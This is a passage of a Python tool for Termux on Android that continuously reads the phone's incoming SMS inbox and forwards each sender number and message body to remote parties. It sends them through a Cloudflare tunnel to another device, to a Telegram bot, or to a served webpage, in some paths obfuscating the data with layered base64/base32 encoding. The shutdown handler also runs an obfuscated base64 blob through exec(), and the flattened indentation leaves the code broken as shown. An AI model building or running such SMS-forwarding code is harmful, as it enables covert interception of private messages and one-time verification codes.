echo(f"{reset}{bold}{red}STOPPED !{reset}")
echo("══", red+"╠", "╣", "═")
for text in handle_text_overflow("Suddenly, the transfer of messages between Termux instances has been interrupted.", total_area() - 6):
echo(f"{reset}{bold}{white}{text}{reset}")
echo_bottom()
print()
sleep(3)
break
sleep(1)
main_menu()
exit()
def sender():
_port = port()
json_file = ".core/termux_instances.json"
with open(json_file, "w") as file: file.write('[]')
banner()
def python_local_server():
subprocess.getoutput(f"python .core/on_terminal.py {json_file} {_port}")
_python_server = thread_with_trace(target=python_local_server)
_python_server.start()
def cloudflared_server():
try: os.remove("cloudflared.log")
except: pass
os.system(f"./cloudflared tunnel -url 127.0.0.1:{_port} --logfile cloudflared.log > /dev/null 2>&1 &")
sleep(15)
_cloudflared_server = thread_with_trace(target=cloudflared_server)
_cloudflared_server.start()
banner()
while _cloudflared_server.is_alive():
animation = ['⠋ Generating Axcess Code', '⠙ Generating Axcess Code', '⠹ generating Axcess Code', '⠸ GEnerating Axcess Code', '⠼ GeNerating Axcess Code', '⠴ GenErating Axcess Code', '⠦ GeneRating Axcess Code', '⠧ GenerAting Axcess Code', '⠇ GeneraTing Axcess Code', '⠏ GeneratIng Axcess Code', '⠋ GeneratiNg Axcess Code', '⠙ GeneratinG Axcess Code', '⠹ Generating Axcess Code', '⠸ Generating axcess Code', '⠼ Generating AXcess Code', '⠴ Generating AxCess Code', '⠦ Generating AxcEss Code', '⠧ Generating AxceSs Code', '⠇ Generating AxcesS Code', '⠏ Generating Axcess Code', '⠋ Generating Axcess code', '⠙ Generating Axcess COde', '⠹ Generating Axcess CoDe', '⠸ Generating Axcess CodE', '⠼ Generating Axcess Code']
for anim in animation:
bar = anim.split(" ")[0]
text = " ".join(anim.split(" ")[2:6])
sys.stdout.write(f"\r{center(f'{yellow}{bar} {white}{text}', False)}")
sys.stdout.flush()
sleep(0.05)
webserver_link = subprocess.getoutput("echo $(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' \"cloudflared.log\")")
if re.search(".trycloudflare.com", webserver_link):
requests.get(webserver_link)
def read_sms():
Identity = ""
jsonfile = json_file
while True:
try:
details = json.loads(subprocess.getoutput("termux-sms-list -l 10 -t inbox -n"))
for data in details:
Message_identity = data["_id"]
if (time.strftime("%Y-%m-%d")) == (data["received"].split(" ")[0]) and ("".join(data["received"].split(" ")[1].split(":")[:-1])) == (time.strftime("%H%M")):
Message_identity = str(Message_identity)
if not (re.search(Message_identity, Identity)):
encode = lambda data : str(base64.b32encode(str(base64.b64encode(data.encode('utf8'))[::-1])[2:-1].encode('utf8'))[::-1])[2:-1]
id = encode(str(data['_id']))
number = encode(str(data["number"]))
message = encode(str(data["body"]))
log_entry = {
"id": id,
"number": number,
"message": message
}
try:
old_data = json.loads(open(jsonfile, "r").read())
if (len(old_data) == 0) :
with open(jsonfile, "w") as file:
json.dump([log_entry], file, indent=4)
else:
main_data = []
for info in old_data:
main_data.append(info)
main_data.append(log_entry)
with open(jsonfile, "w") as file:
json.dump(main_data, file, indent=4)
except json.decoder.JSONDecodeError:
with open(jsonfile, "w") as file:
json.dump([log_entry], file, indent=4)
Identity += Message_identity
except: break
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Please Wait...{reset}")
echo_bottom()
_read_sms = thread_with_trace(target=read_sms)
_read_sms.start()
_rac = generate_code(webserver_link)
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Random Axcess Code{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{reset}{bold}{yellow}{_rac}{reset}")
echo_bottom()
print()
print()
echo_top()
echo(f"{reset}{bold}{white}Use {cyan}( {magenta}Ctrl + C {cyan}) {white}to stop{reset}")
echo_bottom()
print()
def signal_handler(a, b):
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Please Wait...{reset}")
echo_bottom()
print()
try: os.remove(json_file)
except: pass
try: os.remove("cloudflared.log")
except: pass
row_lx, col_lx = avaliable(_rac)
_ = lambda __ : __import__('base64').b64decode(__[::-1]);exec((_)(b'==QKdFzWzRXZlh2c9QXZlh2crJ3b3BCL4x2Xs92YgwCes91dvJHIsIiIoEGdhR2XlRXYkBXdKkSM0VWZoNnLzRXZlh2c9QXZlh2crJ3b3BCL4x2Xs92YgwCes91dvJHIsIiIoEGdhR2XlRXYkBXd'))
_python_server.kill()
_cloudflared_server.kill()
_read_sms.kill()
subprocess.getoutput("killall cloudflared /dev/null 2>&1 &")
program_exit()
sys.exit()
signal.signal(signal.SIGINT, signal_handler)
while True:
time.sleep(1)
exit()
else:
banner()
print()
echo_top()
echo(f"{reset}{bold}{red}ERROR{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{reset}{bold}{yellow}Could Not Start Cloudflared Service{reset}")
echo_bottom()
print()
print()
echo_top()
echo(f"{reset}{bold}{white}Check Following Possible Reasons{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{reset}{bold}{yellow}Turn On Your Mobile Hotspot{reset}")
echo(f"{reset}{bold}{yellow}Cloudflared Already Running{reset}")
echo(f"{reset}{bold}{yellow}Check Your Internet Connection{reset}")
echo_bottom()
print()
print()
echo_top()
echo(f"{reset}{bold}{lightcyan}Press Enter For Restart{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
center_input(f"╚════► {yellow}")
_python_server.kill()
_cloudflared_server.kill()
subprocess.getoutput("killall cloudflared /dev/null 2>&1 &")
try: os.remove(json_file)
except: pass
try: os.remove("cloudflared.log")
except: pass
on_termux()
exit()
def install_cloudflared():
if ("cloudflared" in os.listdir()): return True
else:
_link = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm"
_data = requests.get(_link).content
_output = "cloudflared"
with open(_output, "wb") as file:
file.write(_data)
os.system(f"chmod +x {_output}")
if not ("cloudflared" in os.listdir()):
banner()
echo_top()
echo(f"{reset}{bold}{white}Cloudflared Not Found..{reset}")
echo_bottom()
print()
print()
echo_top()
echo(f"{reset}{bold}{yellow}Press enter for install{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
center_input(f"╚════► {yellow}")
banner()
_install = threading.Thread(target=install_cloudflared)
_install.start()
while _install.is_alive():
for _anim in ['⠋ Installing Cloudflared...', '⠙ Installing Cloudflared...', '⠹ installing Cloudflared...', '⠸ INstalling Cloudflared...', '⠼ InStalling Cloudflared...', '⠴ InsTalling Cloudflared...', '⠦ InstAlling Cloudflared...', '⠧ InstaLling Cloudflared...', '⠇ InstalLing Cloudflared...', '⠏ InstallIng Cloudflared...', '⠋ InstalliNg Cloudflared...', '⠙ InstallinG Cloudflared...', '⠹ Installing Cloudflared...', '⠸ Installing cloudflared...', '⠼ Installing CLoudflared...', '⠴ Installing ClOudflared...', '⠦ Installing CloUdflared...', '⠧ Installing ClouDflared...', '⠇ Installing CloudFlared...', '⠏ Installing CloudfLared...', '⠋ Installing CloudflAred...', '⠙ Installing CloudflaRed...', '⠹ Installing CloudflarEd...', '⠸ Installing CloudflareD...', '⠼ Installing Cloudflared...', '⠴ Installing Cloudflared...', '⠦ Installing Cloudflared...', '⠧ Installing Cloudflared...']:
bar = _anim.split(" ")[0]
text = " ".join(_anim.split(" ")[2:4])
sys.stdout.write(f"\r{center(f'{yellow}{bar} {white}{text}', False)}")
sys.stdout.flush()
sleep(0.05)
_install.join()
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Cloudflared Sucessfully Installed{reset}")
echo_bottom()
print()
sleep(4)
on_termux()
exit()
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Staring local server...{reset}")
echo_bottom()
create_local()
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Can You Clarify Your Identity ?{reset}")
echo_bottom()
print()
center(f"{bold}{magenta} [{white}01{magenta}] {reset}{yellow}Sender {reset}")
center(f"{bold}{magenta} [{white}02{magenta}] {reset}{yellow}Receiver{reset}")
center(f"{bold}{magenta} [{white}03{magenta}] {reset}{yellow}Back {reset}")
center(f"{bold}{magenta} [{white}04{magenta}] {reset}{yellow}Exit {reset}")
print()
echo_top()
echo(f"{reset}{bold}{lightcyan}Choose An Option...{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
user_choice = center_input(f"╚════► {yellow}").lower()
if (user_choice == "1") or (user_choice == "01") or (user_choice == "one") or (user_choice == "sender"):
sender()
elif (user_choice == "2") or (user_choice == "02") or (user_choice == "two") or (user_choice == "receiver"):
receiver()
elif (user_choice == "3") or (user_choice == "03") or (user_choice == "three") or (user_choice == "back"):
main_menu()
elif (user_choice == "4") or (user_choice == "04") or (user_choice == "four") or (user_choice == "exit"):
program_exit()
else:
echo_top()
echo(f"{reset}{bold}{magenta}Invalid Option{reset}")
echo_bottom()
sleep(1)
del user_choice
on_termux()
def on_telegram():
def read_sms(chatid:int):
token = get_token()
banner()
total_send = 0
total_recived = 0
total_failed = 0
def on_telegram_small_menu(chat_id, total_send, total_recived, total_failed):
if (total_send < 9):
total_send = "0" + str(total_send)
else: total_send = str(total_send)
if (total_recived < 9):
total_recived = "0" + str(total_recived)
else: total_recived = str(total_recived)
if (total_failed < 9):
total_failed = "0" + str(total_failed)
else: total_failed = str(total_failed)
banner()
echo_top()
echo(f"{reset}{bold}{white}Transmit Messages On ChatID:{chat_id}{reset}")
echo_bottom()
print()
echo_top()
echo(f"{bold}{white}Total Messages Received {magenta}[ {cyan}{total_recived}{magenta} ]{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{bold}{white}Total Messages Forward {magenta}[ {cyan}{total_send}{magenta} ]{reset}")
echo("══", red+"╠", "╣", "═")
echo(f"{bold}{white}Total Messages Failed {magenta}[ {cyan}{total_failed}{magenta} ]{reset}")
echo_bottom()
print()
echo_top()
echo(f"{reset}{bold}{white}Use {cyan}( {magenta}Ctrl + C {cyan}) {white}to stop{reset}")
echo_bottom()
on_telegram_small_menu(chatid, total_send, total_recived, total_failed)
Identity = ""
while True:
details = json.loads(subprocess.getoutput("termux-sms-list -l 10 -t inbox -n"))
for data in details:
Message_identity = data["_id"]
if (time.strftime("%Y-%m-%d")) == (data["received"].split(" ")[0]) and ("".join(data["received"].split(" ")[1].split(":")[:-1])) == (time.strftime("%H%M")):
Message_identity = str(Message_identity)
if not (re.search(Message_identity, Identity)):
message = "<b>From : " + str(data["number"]) + "</b>\n<i>" + str(data["body"]) + "</i>"
total_recived += 1
if send_msg(message, token, chatid):
total_send += 1
else: total_failed += 1
on_telegram_small_menu(chatid, total_send, total_recived, total_failed)
Identity += Message_identity
def remove_token():
if os.path.exists(".core/telegram_token.config"):
try: os.remove(".core/telegram_token.config")
except: pass
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Token Removed !{reset}")
echo_bottom()
sleep(2)
else:
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Token Not Found !{reset}")
echo_bottom()
sleep(2)
def get_token():
if os.path.exists(".core/telegram_token.config"):
data = json.loads(decode(open(".core/telegram_token.config").read()))
token = decode(data.get("token"))
return token
else: return False
def get_chatid():
if os.path.exists(".core/telegram_chatid.config"):
data = json.loads(decode(open(".core/telegram_chatid.config").read()))
chatid = decode(data.get("chatid"))
return int(chatid)
else: return False
def set_token(token):
with open(".core/telegram_token.config", "w") as file:
json_data = encode(json.dumps({"token":encode(token)}))
file.write(json_data)
def save_chatid(chatid):
with open(".core/telegram_chatid.config", "w") as file:
json_data = encode(json.dumps({"chatid":encode(chatid)}))
file.write(json_data)
def token_valid(token):
try:
response = requests.get(f'https://api.telegram.org/bot{token}/getMe')
if response.status_code == 200:
data = response.json()
if data.get('ok', False):
return True
except: pass
return False
def send_msg(message, token, chatid):
bot = telebot.TeleBot(token)
try:
bot.send_message(int(chatid), message, parse_mode='HTML')
return True
except:
return False
def process(chatid:int):
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Use {cyan}( {magenta}Ctrl + C {cyan}) {white}to stop{reset}")
echo_bottom()
print()
try: read_sms(chatid)
except KeyboardInterrupt: pass
token = get_token()
send_msg("<b><i>The process of transferring SMS messages has been stopped, and it is currently not avaliable.</i></b>", token, chatid)
main_menu()
exit()
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Choose An Option{reset}")
echo_bottom()
print()
center(f"{bold}{magenta} [{white}01{magenta}] {reset}{yellow}Use Recent Bot Token{reset}")
center(f"{bold}{magenta} [{white}02{magenta}] {reset}{yellow}Use New Bot Token {reset}")
center(f"{bold}{magenta} [{white}03{magenta}] {reset}{yellow}Remove Saved Token {reset}")
center(f"{bold}{magenta} [{white}04{magenta}] {reset}{yellow}Back {reset}")
center(f"{bold}{magenta} [{white}05{magenta}] {reset}{yellow}Exit {reset}")
print()
echo_top()
echo(f"{reset}{bold}{lightcyan}Choose An Option...{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
user_choice = center_input(f"╚════► {yellow}").lower()
if (user_choice == "1") or (user_choice == "01") or (user_choice == "one") or (user_choice == "recent"):
ReCenT = True
elif (user_choice == "2") or (user_choice == "02") or (user_choice == "two") or (user_choice == "new"):
ReCenT = False
elif (user_choice == "3") or (user_choice == "03") or (user_choice == "three") or (user_choice == "remove"):
remove_token()
on_telegram()
exit()
elif (user_choice == "4") or (user_choice == "04") or (user_choice == "four") or (user_choice == "back"):
main_menu()
exit()
elif (user_choice == "5") or (user_choice == "05") or (user_choice == "five") or (user_choice == "exit"):
program_exit()
else:
echo_top()
echo(f"{reset}{bold}{magenta}Invalid Option{reset}")
echo_bottom()
sleep(1)
del user_choice
on_termux()
if not ReCenT:
banner()
echo_top()
echo(f"{reset}{bold}{lightcyan}Enter telegram bot axcess token{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
token = center_input(f"╚════► {yellow}")
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Checking Token Validation...{reset}")
echo_bottom()
if not token_valid(token):
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Invalid Bot Token...{reset}")
echo_bottom()
sleep(3)
on_telegram()
exit()
else:
banner()
print()
echo_top()
for text in handle_text_overflow(f"Access the recipient's Telegram bot, send the '/log' message, and after doing this, the SMS forwarding process will start.", total_area() - 6):
echo(f"{reset}{bold}{white}{text}{reset}")
echo_bottom()
set_token(token)
try:
bot = telebot.TeleBot(token)
@bot.message_handler(commands=['log'])
def send_auth(message):
banner()
echo_top()
echo(f"{reset}{white}Authentication Sucessfully..{blue}!!{reset}")
echo_bottom()
save_chatid(str(message.chat.id))
bot.send_message(message.chat.id, '<b><i>Authentication sucessfully.</i></b>', parse_mode='HTML')
bot.send_message(message.chat.id, '<b><i>The SMS forwarding process has been initiated, and you will receive all messages through this Telegram bot.</i></b>', parse_mode='HTML')
raise TypeError
bot.polling()
except TypeError: pass
except KeyboardInterrupt:
on_telegram()
exit()
chatid = get_chatid()
process(chatid)
exit()
else:
if not os.path.exists(".core/telegram_token.config"):
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Token Not Found !{reset}")
echo_bottom()
sleep(2)
on_telegram()
exit()
else:
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Checking Token Validation...{reset}")
echo_bottom()
token = get_token()
if not token_valid(token):
banner()
print()
echo_top()
echo(f"{reset}{bold}{white}Token Validation Failed !{reset}")
echo_bottom()
sleep(3)
try: os.remove(".core/telegram_token.config")
except: pass
on_telegram()
exit()
else:
banner()
print()
echo_top()
for text in handle_text_overflow("Access the recipient's Telegram bot, send the '/log' message, and after doing this, the SMS forwarding process will start.", total_area() - 6):
echo(f"{reset}{bold}{white}{text}{reset}")
echo_bottom()
set_token(token)
try:
bot = telebot.TeleBot(token)
@bot.message_handler(commands=['log'])
def send_auth(message):
banner()
echo_top()
echo(f"{reset}{white}Authentication Sucessfully..{blue}!!{reset}")
echo_bottom()
save_chatid(str(message.chat.id))
bot.send_message(message.chat.id, '<b><i>Authentication sucessfully.</i></b>', parse_mode='HTML')
bot.send_message(message.chat.id, '<b><i>The SMS forwarding process has been initiated, and you will receive all messages through this Telegram bot.</i></b>', parse_mode='HTML')
raise TypeError
bot.polling()
except TypeError: pass
except KeyboardInterrupt:
on_telegram()
exit()
chatid = get_chatid()
process(chatid)
exit()
def on_webpage():
def sms_read(jsonfile):
Identity = ""
while True:
try:
details = json.loads(subprocess.getoutput("termux-sms-list -l 10 -t inbox -n"))
for data in details:
Message_identity = data["_id"]
if (time.strftime("%Y-%m-%d")) == (data["received"].split(" ")[0]) and ("".join(data["received"].split(" ")[1].split(":")[:-1])) == (time.strftime("%H%M")):
Message_identity = str(Message_identity)
if not (re.search(Message_identity, Identity)):
sender = data['threadid']
number = data["number"]
date = data["received"].split(" ")[0]
message = data["body"]
log_entry = {
"sender": str(sender),
"number": number,
"date": date,
"message": message
}
try:
old_data = json.loads(open(jsonfile, "r").read())
if (len(old_data) == 0) :
with open(jsonfile, "w") as file:
json.dump([log_entry], file, indent=4)
else:
main_data = []
for info in old_data:
main_data.append(info)
main_data.append(log_entry)
with open(jsonfile, "w") as file:
json.dump(main_data, file, indent=4)
except json.decoder.JSONDecodeError:
with open(jsonfile, "w") as file:
json.dump([log_entry], file, indent=4)
Identity += Message_identity
except KeyboardInterrupt: break
def install_cloudflared():
if ("cloudflared" in os.listdir()): return True
else:
_link = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm"
_data = requests.get(_link).content
_output = "cloudflared"
with open(_output, "wb") as file:
file.write(_data)
os.system(f"chmod +x {_output}")
if not ("cloudflared" in os.listdir()):
banner()
echo_top()
echo(f"{reset}{bold}{white}Cloudflared Not Found..{reset}")
echo_bottom()
print()
print()
echo_top()
echo(f"{reset}{bold}{yellow}Press enter for install{reset}")
echo("══", red+"╠", "╝", "═")
echo(" ", red+"║", " ")
center_input(f"╚════► {yellow}")
banner()
_install = threading.Thread(target=install_cloudflared)
_install.start()
while _install.is_alive():
for _anim in ['⠋ Installing Cloudflared...', '⠙ Installing Cloudflared...', '⠹ installing Cloudflared...', '⠸ INstalling Cloudflared...', '⠼ InStalling Cloudflared...', '⠴ InsTalling Cloudflared...', '⠦ InstAlling Cloudflared...', '⠧ InstaLling Cloudflared...', '⠇ InstalLing Cloudflared...', '⠏ InstallIng Cloudflared...', '⠋ InstalliNg Cloudflared...', '⠙ InstallinG Cloudflared...', '⠹ Installing Cloudflared...', '⠸ Installing cloudflared...', '⠼ Installing CLoudflared...', '⠴ Installing ClOudflared...', '⠦ Installing CloUdflared...', '⠧ Installing ClouDflared...', '⠇ Installing CloudFlared...', '⠏ Installing CloudfLared...', '⠋ Installing CloudflAred...', '⠙ Installing CloudflaRed...', '⠹ Installing CloudflarEd...', '⠸ Installing CloudflareD...', '⠼ Installing Cloudflared...', '⠴ Installing Cloudflared...', '⠦ Installing Cloudflared...', '⠧ Installing Cloudflared...']:
bar = _anim.split(" ")[0]
text = " ".join(_anim.split(" ")[2:4])
sys.stdout.write(f"\r{center(f'{yellow}{bar} {white}{text}', False)}")